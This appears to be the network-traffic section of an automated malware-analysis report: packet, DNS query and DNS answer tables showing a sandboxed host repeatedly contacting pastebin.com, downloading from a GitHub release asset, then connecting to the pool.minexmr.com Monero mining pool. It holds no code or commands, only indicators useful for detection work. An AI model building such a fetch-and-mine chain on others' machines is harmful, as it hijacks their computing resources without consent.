Jul 25, 2019 13:47:17.584726095 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.584741116 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.584754944 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.584775925 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.584893942 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.643058062 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.643126965 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.643276930 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.643330097 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.643358946 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.643385887 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.643413067 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.643452883 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.646703959 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.646806002 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.646852970 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.646853924 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.647062063 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.648257971 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.648264885 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.648335934 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.648525953 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.648536921 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.648636103 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.648865938 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.648900986 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.648926973 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.648947954 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.686343908 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.687228918 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.687263966 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.687371016 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.687393904 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.687433004 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.687489986 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.687982082 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.745722055 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.745773077 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.745799065 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.745820999 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.745857000 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.745908976 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.746747971 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.749217033 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.749257088 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.749280930 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.749305010 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.749347925 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.750463963 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.750494003 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.750587940 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.750765085 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.750828028 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.750843048 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.751144886 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.751176119 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.751219988 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.751255989 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.788765907 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.789002895 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.789629936 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.789668083 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.789690971 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.789778948 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.790355921 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.790469885 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.790496111 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.793047905 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.848140001 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.848197937 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.848223925 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.848409891 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.848484039 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.849123955 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.849350929 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.851593971 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.851610899 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.851643085 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.851656914 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.851814985 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.852417946 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.852514029 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.852905989 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.852981091 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.891390085 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.891627073 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.891777039 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.891809940 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.891836882 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.891951084 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.892837048 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.893030882 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.895267010 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.895565033 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.950542927 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.950583935 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.950608015 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.950723886 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.951605082 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.951745987 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.953948975 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.953994989 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.954019070 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.954569101 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.954735041 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.954770088 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.954891920 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.993933916 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.993973017 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.993993044 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.994012117 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.994035006 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.994147062 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:17.995317936 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.997589111 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:17.997734070 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:18.053128004 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.053174973 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.053198099 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.053356886 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:18.053841114 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.053967953 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:18.056971073 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.056993961 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.057041883 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.057090998 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.057130098 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.057132959 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:18.057271957 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:18.096163034 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.096220970 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.096246004 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.096267939 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.096292973 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.096318007 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.096410036 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:18.099917889 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.099956989 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.100090027 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:18.155750036 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.155823946 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.155852079 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.155874014 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.156025887 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:18.159291983 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.159346104 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.159373045 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.159415007 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.159441948 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.159501076 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:18.198369026 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:18.198555946 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.198604107 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.198628902 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.198657036 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.198683977 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.198710918 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.198736906 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.198766947 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:18.198849916 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:18.202096939 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.202142954 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.202333927 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:18.258104086 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.258150101 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.258172035 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.258196115 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.258374929 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:18.261590004 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.261661053 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.261686087 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.261732101 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:18.263041019 MESZ	54582	443	192.168.1.100	140.82.118.4
Jul 25, 2019 13:47:18.276071072 MESZ	54582	443	192.168.1.100	140.82.118.4
Jul 25, 2019 13:47:18.276257038 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:18.286020994 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:18.290514946 MESZ	443	54582	140.82.118.4	192.168.1.100
Jul 25, 2019 13:47:18.290555954 MESZ	443	54582	140.82.118.4	192.168.1.100
Jul 25, 2019 13:47:18.290574074 MESZ	443	54582	140.82.118.4	192.168.1.100
Jul 25, 2019 13:47:18.290707111 MESZ	54582	443	192.168.1.100	140.82.118.4
Jul 25, 2019 13:47:18.290750027 MESZ	54582	443	192.168.1.100	140.82.118.4
Jul 25, 2019 13:47:18.303147078 MESZ	443	54582	140.82.118.4	192.168.1.100
Jul 25, 2019 13:47:18.303304911 MESZ	54582	443	192.168.1.100	140.82.118.4
Jul 25, 2019 13:47:18.378712893 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.378760099 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:18.388040066 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:18.388082981 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:19.172399044 MESZ	60262	80	192.168.1.100	37.59.54.205
Jul 25, 2019 13:47:19.201431036 MESZ	80	60262	37.59.54.205	192.168.1.100
Jul 25, 2019 13:47:19.201546907 MESZ	60262	80	192.168.1.100	37.59.54.205
Jul 25, 2019 13:47:19.201805115 MESZ	60262	80	192.168.1.100	37.59.54.205
Jul 25, 2019 13:47:19.229090929 MESZ	80	60262	37.59.54.205	192.168.1.100
Jul 25, 2019 13:47:19.229459047 MESZ	80	60262	37.59.54.205	192.168.1.100
Jul 25, 2019 13:47:19.229568005 MESZ	60262	80	192.168.1.100	37.59.54.205
Jul 25, 2019 13:47:34.325889111 MESZ	55378	443	192.168.1.100	104.20.208.21
Jul 25, 2019 13:47:34.339005947 MESZ	443	55378	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:34.339240074 MESZ	55378	443	192.168.1.100	104.20.208.21
Jul 25, 2019 13:47:34.576179028 MESZ	55378	443	192.168.1.100	104.20.208.21
Jul 25, 2019 13:47:34.588468075 MESZ	443	55378	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:34.590781927 MESZ	443	55378	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:34.590804100 MESZ	443	55378	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:34.590816975 MESZ	443	55378	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:34.590960026 MESZ	55378	443	192.168.1.100	104.20.208.21
Jul 25, 2019 13:47:34.593035936 MESZ	55378	443	192.168.1.100	104.20.208.21
Jul 25, 2019 13:47:34.646962881 MESZ	443	55378	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:34.647151947 MESZ	55378	443	192.168.1.100	104.20.208.21
Jul 25, 2019 13:47:34.659660101 MESZ	443	55378	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:34.659702063 MESZ	443	55378	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:34.662544966 MESZ	55378	443	192.168.1.100	104.20.208.21
Jul 25, 2019 13:47:34.716849089 MESZ	443	55378	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:34.900552034 MESZ	443	55378	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:34.900589943 MESZ	443	55378	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:34.900893927 MESZ	55378	443	192.168.1.100	104.20.208.21
Jul 25, 2019 13:47:34.901340008 MESZ	55378	443	192.168.1.100	104.20.208.21
Jul 25, 2019 13:47:34.911463976 MESZ	55378	443	192.168.1.100	104.20.208.21
Jul 25, 2019 13:47:34.914325953 MESZ	443	55378	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:34.914613008 MESZ	443	55378	104.20.208.21	192.168.1.100
Jul 25, 2019 13:47:34.914680958 MESZ	55378	443	192.168.1.100	104.20.208.21
Jul 25, 2019 13:47:34.924164057 MESZ	443	55378	104.20.208.21	192.168.1.100
Jul 25, 2019 13:48:19.275656939 MESZ	60262	80	192.168.1.100	37.59.54.205
Jul 25, 2019 13:48:19.302664042 MESZ	80	60262	37.59.54.205	192.168.1.100
Jul 25, 2019 13:48:26.932804108 MESZ	80	60262	37.59.54.205	192.168.1.100
Jul 25, 2019 13:48:26.933438063 MESZ	60262	80	192.168.1.100	37.59.54.205
Jul 25, 2019 13:48:59.633966923 MESZ	80	60262	37.59.54.205	192.168.1.100
Jul 25, 2019 13:48:59.634453058 MESZ	60262	80	192.168.1.100	37.59.54.205
Jul 25, 2019 13:49:59.685667992 MESZ	60262	80	192.168.1.100	37.59.54.205
Jul 25, 2019 13:49:59.715024948 MESZ	80	60262	37.59.54.205	192.168.1.100
Jul 25, 2019 13:50:59.690457106 MESZ	80	60262	37.59.54.205	192.168.1.100
Jul 25, 2019 13:50:59.690648079 MESZ	60262	80	192.168.1.100	37.59.54.205
Jul 25, 2019 13:51:28.545020103 MESZ	80	60262	37.59.54.205	192.168.1.100
Jul 25, 2019 13:51:28.545434952 MESZ	60262	80	192.168.1.100	37.59.54.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 25, 2019 13:47:01.419184923 MESZ	40316	53	192.168.1.100	8.8.8.8
Jul 25, 2019 13:47:01.419294119 MESZ	40316	53	192.168.1.100	8.8.8.8
Jul 25, 2019 13:47:01.431619883 MESZ	53	40316	8.8.8.8	192.168.1.100
Jul 25, 2019 13:47:01.432410955 MESZ	53	40316	8.8.8.8	192.168.1.100
Jul 25, 2019 13:47:01.961524010 MESZ	39209	53	192.168.1.100	8.8.8.8
Jul 25, 2019 13:47:01.961638927 MESZ	39209	53	192.168.1.100	8.8.8.8
Jul 25, 2019 13:47:01.974174023 MESZ	53	39209	8.8.8.8	192.168.1.100
Jul 25, 2019 13:47:01.974278927 MESZ	53	39209	8.8.8.8	192.168.1.100
Jul 25, 2019 13:47:02.669117928 MESZ	37917	53	192.168.1.100	8.8.8.8
Jul 25, 2019 13:47:02.669204950 MESZ	37917	53	192.168.1.100	8.8.8.8
Jul 25, 2019 13:47:02.681310892 MESZ	53	37917	8.8.8.8	192.168.1.100
Jul 25, 2019 13:47:02.681368113 MESZ	53	37917	8.8.8.8	192.168.1.100
Jul 25, 2019 13:47:03.082704067 MESZ	48788	53	192.168.1.100	8.8.8.8
Jul 25, 2019 13:47:03.083107948 MESZ	48788	53	192.168.1.100	8.8.8.8
Jul 25, 2019 13:47:03.096153975 MESZ	53	48788	8.8.8.8	192.168.1.100
Jul 25, 2019 13:47:03.104760885 MESZ	53	48788	8.8.8.8	192.168.1.100
Jul 25, 2019 13:47:03.936465979 MESZ	50797	53	192.168.1.100	8.8.8.8
Jul 25, 2019 13:47:03.936553955 MESZ	50797	53	192.168.1.100	8.8.8.8
Jul 25, 2019 13:47:03.949219942 MESZ	53	50797	8.8.8.8	192.168.1.100
Jul 25, 2019 13:47:03.949404955 MESZ	53	50797	8.8.8.8	192.168.1.100
Jul 25, 2019 13:47:19.157238960 MESZ	58216	53	192.168.1.100	8.8.8.8
Jul 25, 2019 13:47:19.157347918 MESZ	58216	53	192.168.1.100	8.8.8.8
Jul 25, 2019 13:47:19.170907021 MESZ	53	58216	8.8.8.8	192.168.1.100
Jul 25, 2019 13:47:19.171184063 MESZ	53	58216	8.8.8.8	192.168.1.100
Jul 25, 2019 13:47:34.292412996 MESZ	38071	53	192.168.1.100	8.8.8.8
Jul 25, 2019 13:47:34.292738914 MESZ	38071	53	192.168.1.100	8.8.8.8
Jul 25, 2019 13:47:34.305466890 MESZ	53	38071	8.8.8.8	192.168.1.100
Jul 25, 2019 13:47:34.305495977 MESZ	53	38071	8.8.8.8	192.168.1.100
Jul 25, 2019 13:49:10.856863022 MESZ	36906	53	192.168.1.100	8.8.8.8
Jul 25, 2019 13:49:10.857119083 MESZ	36254	53	192.168.1.100	8.8.8.8
Jul 25, 2019 13:49:10.868937016 MESZ	53	36906	8.8.8.8	192.168.1.100
Jul 25, 2019 13:49:10.869314909 MESZ	53	36254	8.8.8.8	192.168.1.100

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jul 25, 2019 13:47:01.419184923 MESZ	192.168.1.100	8.8.8.8	0xac0a	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:01.419294119 MESZ	192.168.1.100	8.8.8.8	0xdd6	Standard query (0)	pastebin.com	28	IN (0x0001)
Jul 25, 2019 13:47:01.961524010 MESZ	192.168.1.100	8.8.8.8	0x2766	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:01.961638927 MESZ	192.168.1.100	8.8.8.8	0x40c3	Standard query (0)	pastebin.com	28	IN (0x0001)
Jul 25, 2019 13:47:02.669117928 MESZ	192.168.1.100	8.8.8.8	0xaf2a	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:02.669204950 MESZ	192.168.1.100	8.8.8.8	0x1c17	Standard query (0)	pastebin.com	28	IN (0x0001)
Jul 25, 2019 13:47:03.082704067 MESZ	192.168.1.100	8.8.8.8	0x7c05	Standard query (0)	github.com	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:03.083107948 MESZ	192.168.1.100	8.8.8.8	0x11cd	Standard query (0)	github.com	28	IN (0x0001)
Jul 25, 2019 13:47:03.936465979 MESZ	192.168.1.100	8.8.8.8	0xdacb	Standard query (0)	github-production-release-asset-2e65be.s3.amazonaws.com	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:03.936553955 MESZ	192.168.1.100	8.8.8.8	0x2966	Standard query (0)	github-production-release-asset-2e65be.s3.amazonaws.com	28	IN (0x0001)
Jul 25, 2019 13:47:19.157238960 MESZ	192.168.1.100	8.8.8.8	0x3e0e	Standard query (0)	pool.minexmr.com	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:19.157347918 MESZ	192.168.1.100	8.8.8.8	0xfbe6	Standard query (0)	pool.minexmr.com	28	IN (0x0001)
Jul 25, 2019 13:47:34.292412996 MESZ	192.168.1.100	8.8.8.8	0x706d	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:34.292738914 MESZ	192.168.1.100	8.8.8.8	0x399d	Standard query (0)	pastebin.com	28	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jul 25, 2019 13:47:01.431619883 MESZ	8.8.8.8	192.168.1.100	0xac0a	No error (0)	pastebin.com		104.20.208.21	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:01.431619883 MESZ	8.8.8.8	192.168.1.100	0xac0a	No error (0)	pastebin.com		104.20.209.21	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:01.432410955 MESZ	8.8.8.8	192.168.1.100	0xdd6	No error (0)	pastebin.com			28	IN (0x0001)
Jul 25, 2019 13:47:01.432410955 MESZ	8.8.8.8	192.168.1.100	0xdd6	No error (0)	pastebin.com			28	IN (0x0001)
Jul 25, 2019 13:47:01.974174023 MESZ	8.8.8.8	192.168.1.100	0x2766	No error (0)	pastebin.com		104.20.208.21	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:01.974174023 MESZ	8.8.8.8	192.168.1.100	0x2766	No error (0)	pastebin.com		104.20.209.21	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:01.974278927 MESZ	8.8.8.8	192.168.1.100	0x40c3	No error (0)	pastebin.com			28	IN (0x0001)
Jul 25, 2019 13:47:01.974278927 MESZ	8.8.8.8	192.168.1.100	0x40c3	No error (0)	pastebin.com			28	IN (0x0001)
Jul 25, 2019 13:47:02.681310892 MESZ	8.8.8.8	192.168.1.100	0xaf2a	No error (0)	pastebin.com		104.20.208.21	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:02.681310892 MESZ	8.8.8.8	192.168.1.100	0xaf2a	No error (0)	pastebin.com		104.20.209.21	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:02.681368113 MESZ	8.8.8.8	192.168.1.100	0x1c17	No error (0)	pastebin.com			28	IN (0x0001)
Jul 25, 2019 13:47:02.681368113 MESZ	8.8.8.8	192.168.1.100	0x1c17	No error (0)	pastebin.com			28	IN (0x0001)
Jul 25, 2019 13:47:03.104760885 MESZ	8.8.8.8	192.168.1.100	0x7c05	No error (0)	github.com		140.82.118.4	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:03.949219942 MESZ	8.8.8.8	192.168.1.100	0xdacb	No error (0)	github-production-release-asset-2e65be.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Jul 25, 2019 13:47:03.949219942 MESZ	8.8.8.8	192.168.1.100	0xdacb	No error (0)	s3-1-w.amazonaws.com		54.231.120.203	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:03.949404955 MESZ	8.8.8.8	192.168.1.100	0x2966	No error (0)	github-production-release-asset-2e65be.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Jul 25, 2019 13:47:19.170907021 MESZ	8.8.8.8	192.168.1.100	0x3e0e	No error (0)	pool.minexmr.com		37.59.45.174	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:19.170907021 MESZ	8.8.8.8	192.168.1.100	0x3e0e	No error (0)	pool.minexmr.com		37.59.44.93	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:19.170907021 MESZ	8.8.8.8	192.168.1.100	0x3e0e	No error (0)	pool.minexmr.com		37.59.44.193	A (IP address)	IN (0x0001)
